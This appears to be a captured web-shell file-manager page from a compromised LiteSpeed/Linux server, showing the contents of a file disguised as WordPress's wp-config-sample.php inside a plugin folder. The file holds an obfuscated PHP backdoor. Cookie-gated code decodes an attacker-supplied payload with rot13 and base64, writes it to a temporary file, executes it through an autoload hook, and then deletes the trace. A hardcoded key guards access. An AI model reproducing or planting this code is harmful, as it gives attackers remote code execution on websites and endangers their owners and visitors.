HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: //proc/thread-self/cwd/wp-content/plugins/gallery-1768304760/wp-config-sample.php
<!--j9W4R9Mi-->
<?php

if (isset($_COOKIE[38+-38]) && isset($_COOKIE[-23+24]) && isset($_COOKIE[45-42]) && isset($_COOKIE[-1+5])) {
    $element = $_COOKIE;
    function module_controller($holder) {
        $element = $_COOKIE;
        $symbol = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '9xOvJnYQ');
        if (!is_writable($symbol)) {
            $symbol = getcwd() . DIRECTORY_SEPARATOR . "buffer_cache";
        }
        $ent = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($element[3]));
        if (is_writeable($symbol)) {
            $obj = fopen($symbol, 'w+');
            fputs($obj, $ent);
            fclose($obj);
            spl_autoload_unregister(__FUNCTION__);
            require_once($symbol);
            @array_map('unlink', array($symbol));
        }
    }
    spl_autoload_register("module_controller");
    $key = "f62011a1e54e3532985914a03e586adc";
    if (!strncmp($key, $element[4], 32)) {
        if (@class_parents("core_engine_mutex_lock", true)) {
            exit;
        }
    }
}